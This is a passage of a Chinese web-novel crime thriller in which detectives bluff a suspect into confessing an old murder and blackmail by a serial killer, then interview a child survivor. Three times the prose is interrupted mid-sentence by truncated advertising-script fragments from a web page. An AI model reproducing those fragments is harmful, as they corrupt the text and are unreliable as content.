沉浸在思绪中的燕逸岫猛然抬头。 她看到姜韫神色严肃,没一会儿又恢复平静,应了几声后挂掉电话。 “没事,康珽叶还活着,发生了场意外,但也不确定是不是意外。” 她将警员执法记录仪传来的视频拖到空中播放。 画面中康珽叶正走在街上,不一会儿两三个小孩嬉闹着从小巷里窜出来,将路过的康珽叶撞了出去。 他踉踉跄跄后退,磕到路灯后翻了一圈摔到大马路上。 突发意外情况,所有车辆纷纷自动急刹转向躲开。 但最近的一辆车即使立刻刹住,也来不及完全避免事故,还是将康珽叶撞倒。 康珽叶也来不及爬起来,只能徒劳抬手抵挡,被压倒后又伸出颤抖的手向路人求救。 所幸急刹车最后几米的惯性冲劲不强,撞得并不算太严重。 燕逸岫聚精会神看着,身体往前探,仔细观察。 被撞前,他是抬左手抵挡,被撞后,明明右手没什么磕碰,他却还是伸出了流血的左手示意。 人在紧急关头做出的下意识动作通常而言才是最真实的,不加伪装,无法刻意而为。 康珽叶可能是个左撇子。 燕逸岫盯紧他的左手,总觉得好像想起什么不对劲的地方。 到底是什么来着…… 54. 案中案,威胁与把柄 燕逸岫翻回先前的案件资料和笔录证词。 去年11月26日的毒杀案中,发现人唐映清在厕所里目击到一名可疑女子。 前不久重做笔录时,她又提供了最新的线索,那个可疑女生或许是左撇子。 身高一米七几,长发,左撇子。 都和康珽叶相符。 听燕逸岫提起谢舒灵案,其她人也反应过来,觉得可疑。 当天商场监控录像仍然作为证据保留在警方档案库里,系统将其调出来交给乔琅。 乔琅正好用今天这段执法记录仪视频研究康珽叶的步行特征,再去对比商场监控。 她一层层楼排查,最后指出一个穿着羽绒服背挎包的身影。 “是他,康珽叶在这儿,他当时在商场里。” 至此,康珽叶的嫌疑陡然上升。 “他就是反派吗?” “侧写不符合,”姜韫皱眉思考,“他这会儿在天泊区综合医院,我先过去看看情况。” 姜韫让队友们留在基地先梳理山火案线索,等她了解清楚情况后再安排行动。 “嘶——痛痛痛……” 康珽叶左臂打绷带,一瘸一拐走出病房。 经过仔细的全身检查,医生表示他没什么大碍,只是添了几道磕伤淤青,吃药养几天就好了。 他呲牙咧嘴,恼火地问道:“那几个臭小孩呢?不会只是口头教育了事吧?我可是差点死了啊。” “小孩和家长都会来警局,放心。” 姜韫迈步靠近低声说道:“暂时无法断定这是不是连环杀手报复,我们回警局谈。” “你在路上边想想最近有没有遇上什么怪事。” “安全起见,最好还是让警员去你家检查一遍,看看有没有被凶手安装窃听器,你觉得呢?” 得到康珽叶允许后,姜韫派谭誉道一行前往他的新家。 暗地里,她又安排秦观秋去他曾经住的地方。 回警局后,警员将康珽叶带进询问室,称小孩家长还在路上,等的过程中先谈谈他的近况。 姜韫站在单面镜边观察里面的进展。 康珽叶思来想去,觉得没有什么不对劲的地方,也没有感觉被跟踪。 警员颔首,接着话锋一转:“既然这边没什么问题,不如我们聊一聊去年的案子。” “……什么案子?”康珽叶懵了。 “你忘了?才过去半年而已吧,你忘了你是带着什么目的进入商场、走进女厕所的了?” 康珽叶被打个措手不及,呼吸停滞,哑然僵住。 “我们已经在商场录像中找到你了,你以女装进入商场,以及后来换上男装混入人群,我们看得清清楚楚。” 康珽叶明白对方这是有备而来,而且另一批人已经在搜查他家了,想阻止也来不及了。 警员正打算出示其它证据,却听见康珽叶长长叹气,眉眼耷拉。 “可别误会,我可不是连环杀人犯,我要是有那个本事,也不至于被你们发现。” “我也是提心吊胆了很久,现在说出来倒是轻松多了,对方大概是看我太窝囊,可能会发神经投案自首,才决定除掉我灭口。” “你自知已经身处险境,是不是该考虑一下和警方做交易,转为污点证人为我们提供线索。” “不行,不行……” 康珽叶一个劲念叨着这句话。 “背叛者没有好下场,他什么都知道……” 他一脸痛苦纠结地抓头发,深深低头,额头一下下碰着桌面。 “难道你甘心替幕后指使者坐牢?” “我被威胁了,我不能说,我有苦衷……” 姜韫眯起眼,一动不动凝视他。 忽然间,她看到康珽叶一边嘴角抽搐般扯出一个转瞬即逝的微小笑容。 身为刑警,什么犯人没见过,姜韫几乎一刹那就明白了来龙去脉。 她移开支着下巴的手,喃喃自语:“他可能犯过命案。” 提到被威胁还能忍不住笑出来,这把柄恐怕不是什么普通的事情。 如果是有犯罪证据为把柄,他就会为反派做事,哪怕现在反派改了念头打算杀他,他也不会倒戈。 他知道对方有多可怕,警方保护不了他。 守口如瓶直到最后被杀,他在世人眼中只是个清清白白的可怜倒霉鬼。 如果背叛反派导致自己秘密被泄露,他会坐牢,遇害了也会被认为死有余辜,连身边人都会被指指点点。 “怀霖,重新挖康珽叶的社交网,查查他交友圈里有没有死亡或失踪的人。” 接着她让警员联系一下唐映清,问她是否可以前来指认嫌疑人。 很快廖怀霖的声音传来。 “康珽叶有个高中同学在前年失踪了,至今杳无音信。” “我根据时间查了康珽叶的消费记录,发现他在同学失踪一周后分天买了大型号登山包、园艺手套还有大号行李箱等等。” 康珽叶与那位同学在高中时期就没有太多交集,上大学后两人不在同省,更扯不上关系,早就是陌生人了。 因此,警方当时虽然有调查到高中同学这一范围,也没注意到康珽叶的嫌疑。 “康珽叶毕业回A省工作,房子买在公司附近,两年后因岗位调动,他卖掉房子搬去了天泊区。” “卖房子也是在失踪案不久之后的事。” “还需要哪方面的信息,统统说来,我和渊知尽快查清楚发给你们。” 燕逸岫小心避开两侧花丛里的几簇鬼针草,以免裤腿和袜子沾到。 墙角的铁锹让她移不开视线。 康珽叶最早之前住的房子位于天锦区,如今是两个女生合住。 得知详情,两人爽快点头让警方进屋搜查,边好奇询问。 “前房主惹出什么事了吗?” “还不确定。” “唉,我们还觉得他人挺好呢。” “怎么说?” “他挂出房子信息打算卖,但并不着急出手。” “当时我们俩着急搬家,因为时限快到了,再不找好房子签合同拿到户主证,我们都要被划去地下城。” “他原本好像有些犹豫,我们和他说了具体情况,希望能尽快办清楚手续,他就答应了。” 原本有些犹豫? 燕逸岫将口罩往上拉了点压紧。 康珽叶搬家时间在买齐疑似作案工具后五天。 说不定他还有什么证据没清理干净,抱着侥幸心理匆忙转手,觉得正好借新户主的手重新翻修一遍,也给自己省事了。 两个女生当初为了留下对比做纪念,特意把原先屋里的装潢构造录下来,如今正好可以当做证据。 燕逸岫看了一遍记住,随后抬头环顾四周,在脑海里重构环境。 眼前景象发生变化,家具移动改变,逐渐恢复成最初的模样。 “你们来看房时,有感觉哪里怪怪的吗?” 两个女生对视沉吟。 “漂白剂还是消毒水,总之是类似的气味,味道略重。” “屋子里很干净,东西不多,可能行李已经收拾了大半。” 见她们好像说不出更多了,于是燕逸岫切换话题:“对了,门外的植物和铁锹是……” “都是他的,我们也喜欢养花花草草,所以保留了小花圃没有铲掉,铁锹他说是用来翻土的。” 燕逸岫点点头,无数思绪闪过脑海。 把尸体埋在自家门前土壤里,很容易被新住户发现,康珽叶不会冒这个险。 但他应该用了这把铁锹挖坑埋尸。 埋尸地点大概率要根据廖怀霖和季渊知查到的线索来判断。 而她站在这可能是第一现场的屋子里,要找的是凶杀痕迹。 燕逸岫在屋子里来回走动,思绪飞速旋转,无数犯罪场景在她脑海里的房子中演绎。 反向推导证据,和捉迷藏一样。 半小时后,守在询问室外的姜韫陆续收到队友们发来的各种资料信息。 她浏览几遍进行快速梳理融合,心里有底后转身开门。 “我真的不能说……” “是啊,”姜韫走进审讯室,打断康珽叶的表演,“如果泄密了,你自己的秘密也会被对方泄露,是吧。” 她把印出来的照片甩到桌上。 轻飘飘的肖像照旋转着,精准滑到康珽叶面前停住。 姜韫走到他身旁,一手按着桌角,俯身目光灼灼盯着他。 “箱子质量挺好的,埋地里这么久了都没怎么烂,哪家店买的,你还记得吗?” 肖像照上熟悉的面容映入眼帘,康珽叶顿时脸色煞白。 “怎么这副表情?你不是前年才和这位老同学见过面吗?他还在你家里‘住’了好几天啊。” 康珽叶竭力按捺惊恐,展开比哭还难看的笑:“你在说什么,警官,我听不懂。” “你问我怎么找到的?”姜韫假装没听见,自顾自说道,“太容易了。” “你的作案时间、卖房时间、工具购买记录、租车记录、往返路线……” “你的铁锹缝隙卡了猎山上的植物种子,种子被带回来后随着翻土使用埋进地里,现在已经长成一大丛,在你的小花圃里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开得热烈。” “另外,你原来的家门前还养了不少鬼针草,你也知道它们多容易黏身上,沾上就不好甩掉。” “你那会儿——也顾不上扒拉干净吧?你确定你全拔干净了吗?” 康珽叶藏在桌底下的手抖得更厉害。 姜韫一字一句说道:“它们跟着你去了很远的地方,在猎山落地生根。” “因为有尸体为肥料,这些鬼针草和附近的植物长势都比其它区域好很多呢。” 姜韫只提了比较模糊的几点,更确凿的证据不能太快展示出来,否则手中就没有底牌了。 姜韫直起腰,背着手慢慢走回对面,仍然站着,歪头目不转睛直视他。 “现在你没有秘密了,凶手也没有筹码了,你要怎么办?” 姜韫手指敲两下桌面:“说说?” 燕逸岫在屏幕前捏了一把汗,大气不敢出。 姜韫言之凿凿的模样,看得燕逸岫自己都要信了。 撒谎骗过别人真的很需要信念感,如果是她去说,一张嘴,眼神一飘,估计气势就矮了一大半。 其实她们还没找到尸体。 至于鬼针草,也只是猜测。 即便派出所有机器人与警员配合,也没那么快能在偌大深山里找到被掩埋的尸体。 但早点攻破心防,威慑住康珽叶占据上风,才能在后续谈及反派相关事情时争取更多优势,把握主动权。 如果康珽叶不上当,她们还有B计划拖延时间等到发现尸体或是找出更多线索,但显然康珽叶不是稳得住的性子。 无交集的高中同学,案发后去买的埋尸工具,激情杀人,以及想起旧案就藏不住的笑意……每一个细节,都化为姜韫形成侧写的一笔。 她已经和康珽叶打过三次交道了,这个人性格如何姜韫心里有数,所以才有把握走这一步险棋。 “最新高科技的验尸检测协助机器人问世,你应该刷到新闻了吧?很巧,过几天就要送来这里进行测试工作了。” “你猜猜,它能在你老同学尸体里发现什么以前发现不了的微小证据?” “和警方谈条件这种事不用我多说了吧?只要你主动交代实情,和警方合作,我们就能提交相关材料为你争取酌情量刑。” “如果耍我们浪费时间,让警方‘不得已’公布所有案件细节和你协助连环杀手的情况向民众寻求线索,到时候舆论会对你家人朋友造成什么影响你应该能想象到。” 姜韫紧盯着康珽叶表情变化,停了十几秒,给他思考的缓冲时间。 “坦白交代,亲自指认一遍埋尸地,让我们看到你的诚意,摄像机正录着。” “你最好想清楚,珍惜机会,我没那么多时间陪你掰扯,对我撒谎的罪犯都没有好下场。” 康珽叶越听越泄气,失魂落魄,一副孤立无援的凄惨模样。 想清楚后,他抬头看向屏幕上的地图,寻了一圈,圈出西侧山腰的一片区域。 姜韫的目光没有在他脸上多停留半秒做观察,见他确认了地点,立刻冷笑出声。 她抬手朝康珽叶一指,顿在半空中,凌厉的警告意味不言而喻。 “这可是你自己做的选择,浪费我时间。” 然后她垂下手拍在桌上抽回照片,转身大步走出去,干脆利落,后背的低马尾甩起半圆的弧度。 “……等等!” 康珽叶被她的神色震住,又感觉被她转身时带起的风狠狠扇了一巴掌。 他急得差点要站起来,声音发颤:“等等,我、我记错了,时间有点久,让我想想、让我想想……” 他弯腰驼背缩在椅子上,焦虑得咬指甲,心中飞快盘算着当下的麻烦处境。 姜韫停住脚步,但没有走回来。 她只侧了半身,扬起下巴望前方,手里夹着照片背在身后晃悠,沉默地等着他说实话。 康珽叶暗中抬眼打量姜韫的神情,叹了一口气后认命似的指在西侧山顶。 见状,姜韫也幽幽叹气,话都懒得再说,摆手示意另一位警员一起离开,没必要再审了。 “等等!等等!噢我记错了,我……” 姜韫没兴趣再听他狡辩,用力甩上门,只留康珽叶在审讯室中,听着震震余音。 屋里很快陷入死寂。 康珽叶颓然靠在椅背,脸色灰败,浑身颤抖,甚至牙齿也控制不住地打哆嗦,咯吱作响。 警察真的发现了,她们真的找到了。 他完了。 姜韫刚出去,迎面碰上前来找她的警员。 “姜姐,联系不上唐映清,打了好几次都没接通。” 55. 压抑的音乐 在这段频频出事的时期联系不上,让人有种不祥的预感。 “她家也在天锦区,我离得近,我过去看看吧。”燕逸岫听到了那头的话,轻声回复。 在房子里找到证据后,警员向两个女生委婉说明了这里曾经是命案现场的情况。 两个女生没什么大反应,哦了一声继续给大家泡茶。 另一位警员安慰道:“搜查造成的破坏警方会予以赔偿,如果实在害怕,着急搬走,我们也会帮你们尽快找新住所。” “不用呀,不害怕。” 两人耸耸肩,不当一回事:“能有地方住就很好了,不奢求太多。” “而且什么鬼有我们穷鬼可怕啊。” “又不是我们杀人,就算真有鬼魂也不会害我们吧。” “我们照常住,说不定哪天突然能看见死者幽灵了,说上几句话,还可以问出点线索给姐姐们。” 其中一人拍手:“哎!这么说的话,我今天就开始学点占卜通灵之类的本领。” 警员们一边听一边收好提取到的证物,无奈地笑起来。 趁着这阵热闹,燕逸岫和警队小组长打了个招呼,悄无声息离开,前往唐映清家。 隔着一条街的距离,她站在对面公寓的走廊上,听见唐映清屋子里面有一道平稳的呼吸声,似乎是在睡觉,但不确定是谁。 燕逸岫环视四周,转身沿着廊道走了一会儿,找到了能够直面卧室窗户方向的位置。 窗帘拉上了,但还留有一小条缝,足够她观察内部环境。 觉醒异能后,她不必借助外界工具就能目视千里,侦查环境方便许多。 外头阳光和她的目光一样从缝隙中穿进去,化为一条细长金针横在被子上。 被子有起伏形状,里面躺着个人,但看不到床头。 燕逸岫视线稍稍往上看到她桌面上的玩偶,下一刻就惊诧地动了动眉头。 她继续往前走,寻找可以看清床头的角度,边将情况告知姜韫,询问如何行动。 四五分钟后,唐映清的母亲来到这儿,敲响女儿的家门。 好一会儿门才打开,唐映清顶着乱蓬蓬的棕色卷发和两个大黑眼圈出现在燕逸岫视野中。 “你这孩子怎么搞的?打电话打半天都不接。” 唐深伸手帮女儿整理头发,语气满是埋怨。 “啊?”唐映清伸懒腰,还有些困,“唉呀妈,我最近睡眠有点问题,好不容易睡个安稳觉就有点醒不过来。” “为什么睡不好?是不是又大半夜跑出去玩了?还是在熬夜追剧?” “没有——最近我可养生了,还买了最近新出的营养品补气血呢。” “真是的,害我白担心,醒了就陪我出去走走。” “去哪?” “陪我去分公司视察。” 唐映清点头应着,回屋里洗漱换衣服,和母亲一起离开公寓。 藏在转角处的燕逸岫稍稍放心,她低着头后退走向电梯,头发和口罩将面部遮得严严实实。 “你觉得自己被监视了?” 董烁郑重点头。 唐映清一脸茫然地被唐深拉进警局时,董烁正坐在接警服务中心向警员报告自己的情况。 “已经好几天了,有个人总是三更半夜一动不动站在我家对面的阴影里,很可怕。” “我家里人胆子比较小,所以我暂时还没有告诉她们这些,想先拜托你们偷偷调查一下确认实情,可以吗?” 随后董烁被带到与唐映清相邻的询问室等待。 得知自己可能被监视,唐映清一时之间不知道先害怕还是疑惑,愣愣瞧着唐深和警员出神。 “难道我最近睡不好就是因为感觉到被人盯着吗?你们怎么发现的?” 燕逸岫是怎么发现的,谁也不知道。 警员使出乾坤大挪移略过她的这一疑惑,开始询问最近她周围是否发生过什么不寻常的事。 算着时间大概过去十分钟了,姜韫让安竹重新进去和康珽叶沟通,自己则继续留在外面等时机。 见姜韫迟迟没有出现,康珽叶肉眼可见地更慌。 “我说,我真的说实话。” “事不过三。”安竹在他对面坐下。 “你的案子不再是秘密,从进入警局开始你就已经没有退路了。” “如果你坦诚和警方合作,我们还有公关手段降低事件影响,保护你和你的亲友。” 她温声细语,循循善诱:“因为自己犯了一次错而甘愿成为凶手的棋子,你的把柄就永远落到他手里了,难道你要为了逃避法律制裁而一辈子受他胁迫犯下更多大错吗?” “一步步陷得更深,你的罪也越来越重,你也看到了,他作案手法有多残忍。” “你只是他完成犯罪计划的工具,他真的在乎你下场如何吗?” “没了利用价值的工具,他就打算除掉,你又凭什么信任他会遵守承诺,绝不透露你的秘密?” “你好好想想其中的是非与否,不要自以为是走到连我们都帮不了你的境地。” 康珽叶闭眼叹气,伸手再次想要圈画地图。 姜韫在这时候开门进去。 “肯说了?” 康珽叶吓了一跳,连连点头。 “那我先听听别的,”姜韫平淡略过指认埋尸处这一步骤,走到安竹身旁坐下,“你和凶手是怎么产生交集的?” “去年某一天0点准点,我接到他打来的电话,说恭喜我成为杀人犯一周年,还分析了我处理尸体的不足之处。” “他以此为筹码,要求我替他办一件事。” “我当时吓坏了,完全没想到那件事会有第二个人知情,因为不想蹲局子被人指指点点,所以我只能答应。” 对方要他做的,是按照计划书上的步骤完成任务,给目标灌下毒药。 至于后来他成为目击者属实是巧合,他在看了新闻里放出的犯罪标志才明白。 “他让我照正常反应去报警,这件事他自有打算,他语气很笃定,至于他具体盘算是什么我就不清楚了。” “除此之外你对凶手了解多少?有什么线索?” 他不知道算不算线索。有一次通话时,康珽叶听见了对面那头的背景播放着纯音乐。 在他讲话时,对方似乎很无聊,也随着音乐低低地哼了一段。 这是康珽叶之前从未听过的歌,曲调很陌生,风格也很淡,没有什么记忆点,所以他很快就忘了,如今也没法哼对音调。 “可以形容一下那首曲子当时给你的感觉是什么样的?” 康珽叶低头回忆,半分钟后抬头,只说了两个字。 “压抑。” 加上康珽叶,三名旧案相关人员正面临危险,让人不禁怀疑反派是不是打算清除所有发现者,彻底销毁所有证据。 大厅里的便衣警察走来走去。 她们接到任务,准备分头前往其她发现者的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住处确认安全。 燕逸岫也准备参与这一行动。 正在整理这些人的最新居住地址时,乔琅给她发来消息。 看到图片上的人,燕逸岫振奋不已,当即改变计划急匆匆赶往另一个地点。 “再说说你犯的第一起案子,为什么要杀高中同学。” “那是因为……” 因为嫉妒,嫉妒高中同学的成功。 “高中时期他就一直压在我头上,出尽风头,老师同学都喜欢他欣赏他,他还考进最好的A大,而我只是个平平无奇的普通学生,最后还发挥失常去了外省读书。” 原本随着时间流逝,康珽叶都快淡忘这些事了,没想到回省工作之后居然能凑巧碰见他。 康珽叶边回忆,嗤笑一声:“他还记得我,先向我打了招呼,还假惺惺地跟我回忆高中往事来念旧。” “他高高在上的样子让我很恼火。” “他工作的公司是我攀不上的高墙,而且我当时还因为业绩不达标被调岗,马上就要搬到另一个区从头爬起。” 所有所有,新仇旧恨搅在一起,让康珽叶失去理智。 他戴上热情的笑容,邀请同学坐自己的车回家做客,一起喝几杯叙叙旧。 对方毫无戒心,点头答应,最后瞪大双眼倒在血泊之中。 “我只是受不了他虚伪做作的模样,一时冲动才……你能懂吗?” 康珽叶慷慨激昂说完,气势稍弱下来,眼巴巴望着对面的人寻求认同。 “我不懂,”姜韫面无表情地回答,“我一向是被嫉妒的那个人。” 听到她的话,康珽叶嘴角僵硬,眼皮抽搐。 “你现在也恼火吗?你恨到想杀我吗?” “你不敢当面表现出不满或讨厌或是疏离,只敢在冲动的加持下偷袭杀了对方。” “你说自己高中时默默无闻,可他记得你。” 康珽叶激动得脸都涨红了,大声反驳:“他肯定是为了嘲笑我才跟我说那些!” “他故意记着所有不如他的人,好故作热络了解对方的近况,暗地里嘲笑我的不如意!” 姜韫凝视着他扭曲的表情,无话可说。 当一个人心中装满仇恨,无论对他说什么做什么,他都只会从最黑暗最悲观的角度去曲解,导致心中的妒火越烧越凶。 “既然这么恨,不如亲自走一趟去指认埋尸地吧?”姜韫趁热打铁,放大屏幕拖到他面前。 “他死在你手中,已经是一具枯骨,而你还活着,时隔两年亲眼看着他被挖出来,你会觉得扬眉吐气吧?” 康珽叶目光托在虚空,不知道在幻想什么场景,一声一声断断续续地笑,笑得浑身颤抖。 燕逸岫听得发毛,抬手揉揉耳朵。 她进入川城地段,凭印象转过一个个拐角,终于来到开阔区域。 单杠、跷跷板等设施仍然伫立原地,供附近的孩子们娱乐。 四周的树和树荫下的长椅也没有什么变化。 唯一变的是滑滑梯,换成了个更大更新的。 万德一尸体被发现后,附近家长们纷纷要求撤换滑滑梯。 倒也情有可原,谁也不愿意看孩子在惨死之人的横尸地附近玩耍,触碰到尸体倒着的地方。 这会儿正有几个小孩在蹦蹦跳跳东奔西跑。 不远处,石现正和另一个小朋友玩跷跷板,清脆笑声飘荡空中。 燕逸岫坐在长椅上,静待时机。 56. 山与山与山 燕逸岫打开“宙”,启动早就准备好的游戏,坐在那儿开始专心打关。 跑来跑去的小朋友路过时注意到她,忍不住停下脚步,隔着点距离好奇地张望。 过了一会儿,见燕逸岫仍然没反应,似乎并不怕打扰,于是两个孩子大胆地凑到她身旁。 不一会儿,越来越多人凑热闹跑过来,围成一圈。 燕逸岫仿佛没看见她们似的,只沉浸在自己的世界里。 孩子的好奇心众所周知,越不搭理她们,她们越感兴趣越好奇,更要扒着人不放。 包括石现,她正趴在椅背上使了劲往前抻,不长不短的头发垂在燕逸岫肩上。 随着燕逸岫丝滑地打通一关又一关,孩子们的惊呼也一声比一声高,激动得像是自己胜利了。 “你们也想玩吗?” “想——” 燕逸岫耳朵差点聋了,她摆着一副亲切开朗的神情,打开自己下载的各款游戏让她们试玩。 孩子们争先恐后伸手点击屏幕体验自己感兴趣的内容。 过了一会儿,燕逸岫才假装随意地切换到一款复杂的全息立体拼图游戏。 石现顿时两眼发光:“我会我会!我拼图最厉害了!妈妈和姥姥都比不过我!” 燕逸岫扭头看向她,语气惊讶:“这么厉害,跟谁学的呀?” “我自己!我有一套很难很难的玩具,我每天学,就学会了。” “很难?比这个还难吗?” 石现用力点头。 “你才多大啊,家里人居然给你买那么难的玩具,玩具叫什么?我也想买一套给我妹妹玩。” 原本神采奕奕的小女孩被问倒了,皱起脸回忆:“嗯……我没注意叫什么,上面有好多字母,不认识。” “国外的?那肯定很贵吧。” “不是买的,是阿姨送给我姥姥的,”石现露出灿烂的笑容,半个身子扒在椅背上晃着脚,“姐姐可以去我家玩!很好玩的。” 燕逸岫连忙摆手:“我这么大的人怎么好意思……” “没事呀,阿姨也陪我玩过,她说她也搞不懂,练一练就会了。” “那是你亲戚,你姥姥和妈妈的亲人,她看着你长大的,我又不是。” 燕逸岫警告她可不要随便邀请陌生人去自己家,太危险了。 “那个阿姨不是亲……” “现现。” 石现的话被因一声呼唤而被打断了。 围在一块的众人都循声看过去。 穿着挺括白衬衫的石见微朝这儿走来,手里提着一个大袋子。 她温声唤着石现,边不动声色将燕逸岫打量一遍。 打量的目光让人感受不到异样,笑眯眯的,和蔼亲切。 但燕逸岫能敏锐感知隐藏其中的毫无温度的精明和审视。 这是身居高位多年的人精才能炼就出的一瞥识人。 燕逸岫驾轻就熟地展露出三分愚蠢三分茫然四分清澈,和孩子们一起看向石见微。 装傻,装呆,糊弄,社恐必备社交技能。 “姥姥!你回来啦。”石现笑眯了眼,朝她使劲挥手。 “你们在干嘛呢?”石见微问道,视线最后又落到燕逸岫脸上,“你是……” 石见微在这老城区住了几十年,对附近居民都比较熟悉,所以很容易就能辨认出其中的生面孔。 燕逸岫语气自然地道出自己的假身份——刚毕业准备出来工作的牛马,钱不多,所以只能找个老城区的便宜旧房凑合凑合。 离开川城后,燕逸岫将收集到的信息发送出去,接着又按照姜韫的安排前往第一医院。 不多时,燕逸岫抱着一盆小小的绿植进入病房,把花瓶摆在床头的小柜子上。 “让它陪着你,应该比别人待在这儿更自在吧?” “这种植物喜阴耐阴,不用勤浇水,不用晒太阳,放这儿就行,很方便的。” 申天诺低头小声说谢谢,手指不断搓着被单,似乎有些局促。 “今天腿还会很疼吗?” 申天诺摇摇头。 “如果有不舒服,一定要及时按铃,让医生来检查。” 嘱咐完这些,燕逸岫在床边椅子坐下。 两人和昨天一样不说话,各忙各的事,各走各的神。 “她好像没打算杀我。”过了十几分钟,申天诺放松下来,突然直接提到了那晚的遭遇。 正发呆复盘着刚才和石现、石见微的交流过程的燕逸岫立刻收思绪回现实生活,转向床上的小女孩。 申天诺稍稍别开脸,不太想与之对视,小声说道:“我感觉是这样,她明明看见我了,但不在意。” “嗯,没关系慢慢说,不想说了也随时可以结束。” “当时我被吓傻了愣在原地,她也不来杀我,只顾着锯眼前的人,我的爸爸,然后……” 申天诺抬起颤抖的手,指尖蜻蜓点水地贴在自己眼眶上,呼吸紊乱。 恐怖的场景再次浮现眼前。 那个人走到她面前蹲下,笑意温柔,用沾满黏稠血迹的手抚上她的眉眼往下顺。 像为死人合上眼睛一样的动作,惊悚但又带着一点莫名的温情。 申天诺在湿潮的黑暗中听见她很轻很轻地呢喃:“别怕,别怕。” “我是在帮你解脱。” 闻言,燕逸岫眉头拧得更紧。 两人都陷入沉默中。 燕逸岫慢慢往后仰,靠在椅背,拉远距离,留出空间让她自己平复情绪。 让十岁的孩子碰上这种经历,老天实在是残忍莫测。 几分钟后,申天诺深吸一口气继续说话。 “她推了我一把,我才感觉己能动了,赶紧转身逃跑,途中碰到了其她逃跑的人,我就和她们一起。” “再醒来的时候,我们就都在山崖边了,腿被打断了,但是没死。” 燕逸岫听着申天诺讲述,注视着她的面容,这会儿猛然发现小女孩的眼睛和嘴巴有三四分神似昆隐棋。 这一想法让她心惊。 凶手是因为看到申天诺的面容联想到了某人,才在杀人现场对她做出这么反常的举动吗? 难道凶手不是假装的,的确就是昆隐棋?还是说反派和昆隐棋一家有什么别的渊源? 燕逸岫甩开遮挡视线的几撮头发,觉得越想越乱,这一猜测毫无根据。 “目前我只能想起这些了。”申天诺声音越来越低,重新垂下头。 “嗯,你很厉害了,能想起这么多,”燕逸岫察觉她已经耗尽精神,需要独自缓缓,于是起身准备离开,“先好好休息吧,我不打扰你了。” 燕逸岫轻轻拍两下被褥。 申天诺沉默片刻,伸手把植物捧到手中,手指轻轻抚摸着叶片的尖尖。 离开病房后,燕逸岫打开申天诺的资料,再次大致浏览一遍。 申天诺父母算是比较典型的东亚父母,虽然心里爱孩子,但是用的方法并不太对,打压式教育和愧疚式教育贯穿生活之中。 申天诺的性格如此,一定程度上也是受了家庭环境的影响。 反派所说的解脱,难道是指将她从父母的压抑中解脱出来吗? 燕逸岫边思考着这些边往外走,走到电梯口时,她又改变想法,决定顺便上楼去看眼卫崧的情况。 无人机吊着的袋子里装的是疗伤的药,不再是营养液。 看起来他已经克服了心理障碍,能够正常进食了。 燕逸岫敲门进去时,护士俞殷也在里面,正专注记录着测量仪上的数值。 她瞥了眼进屋的人,看向卫崧:“是你的朋友吗?” 卫崧此时几乎被埋在鲜花花束堆里,很艰难地伸出脖子看向燕逸岫:“你来了啊。” 那么多五颜六色的花映入眼帘,燕逸岫尴尬地止住脚步。 大概是卫崧的朋友一起来探望他了。 对方带了这么多花,显得她空 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手进来非常不合时宜。 燕逸岫是奔着申天诺来的,为了和仍然戒备的她拉近关系才去买了盆栽。 而探望卫崧是心血来潮临时起意,所以也没准备。 卫崧像是看出了她的疑惑,解释道:“是我的大学同学,他们扎堆跑来看看我是不是还活蹦乱跳的。” “当然活蹦乱跳的了,”俞殷拆下他胳膊上的检测束带,边说道,“恢复得不错,不过心理方面还是要再慢慢调整一下,养伤期间不要忧思过重。” “警方专门为你们安排了心理医生,你不舒服的时候可以和我们说声,找她来谈谈,不要一个人伤神。” “好,我知道了,谢谢俞阿姨。” 俞殷做好记录就推着仪器离开了。 “半小时前我朋友们过来了一趟,现在已经回去了,如果你要跟我聊案子,可以放心开口,不会有人干扰的。” 燕逸岫扯了扯嘴角,露出一个笑,作为礼貌回应。 卫崧把花移到床头柜上,自言自语:“哦,原来这里面还有几只小小的向日葵,我妈和我爸都很喜欢……” 说到这,他忽然止住了话,脸上的淡淡笑容完全消失,隐入苍白的郁悒中。 燕逸岫也愣在那,不知道这会儿该怎么办才好。 憋了好一会,她才磕磕巴巴地问道:“呃……俞护士是你的亲戚吗?” “不是,我来这里时,发现医院里的医生和病人都是这么称呼她的。” 卫崧当然明白她这是在生硬地转移话题,就马上顺着新冒出来的话题聊下去。 他抬头望向燕逸岫,尽力露出笑容,不想因为自己的情绪而影响她,让她不自在。 “俞阿姨特别亲切温柔,很会安慰患者,和很多人都能打成一片。” “我听其她病人都是这么喊,都喊他俞阿姨俞阿姨,我就也跟着这么喊了。” “医院里的防医闹控制系统就是因为俞阿姨才变成标配的。我昨晚听其他患者聊起这个。” “怎么说?”燕逸岫不禁好奇,帮他把花束放到柜子上摆整齐。 “以前有患者家属跑到医院来闹事,拿着把菜刀四处乱砍,砍伤了好几个病人和医生护士。” 最后是俞殷拼死冲上去替病人挡了危险,她也因此被砍了好几刀,身受重伤。 俞殷本来在医院里口碑就很好,如今发生这么恶劣的事情,所有人都愤怒不已,集体跑到院长面前反映安保问题,必须要给俞殷讨一个公道。 后来闹事行凶的人被判刑,医院在每间病房、医生办公室和门诊等地都配上了防医闹报警和控制系统,最大限度地保护大家在医院中的安全。 燕逸岫听得很认真,等卫崧讲完后回道:“她是英雄,难怪所有人都喜欢她。” “这是十几年前的事了,那时候我还小,并不知道这些。” 卫崧字句咬到这儿,顺势询问:“话说,警官你年纪多大?看着好像跟我差不多。” “……比你大一点。” “那我该叫你一声姐姐,是吧。”卫崧眨眨眼,脱口而出。 燕逸岫猝不及防,吓了一大跳,尴尬得脸差点烧起来,赶紧清了清嗓子让自己镇定下来,连连摆手:“那不至于,大可不必,别了别了。” “不然怎么称呼?你又好像不是很想告诉我你的姓名,但是叫警官又很生硬,哪有人这么称呼自己的救命恩人?” 燕逸岫想了想,觉得自己作为异世界的人算是比较安全,别人想查也查不出有用什么信息,于是便把自己的名字告诉他了。 卫崧仔细问是哪三个字。 “燕国的燕,逃逸的逸,云岫的岫。” 卫崧了然点头。 “山。”他轻声说道。 “什么山?”燕逸岫以为他指自己名字最后一字,点了点头,“哦,对,山峰的意思。” 卫崧笑了笑没说什么,几秒后又问道:“上次我说的事情,我的请求,你们有考虑考虑吗?” 57. 诱饵计划 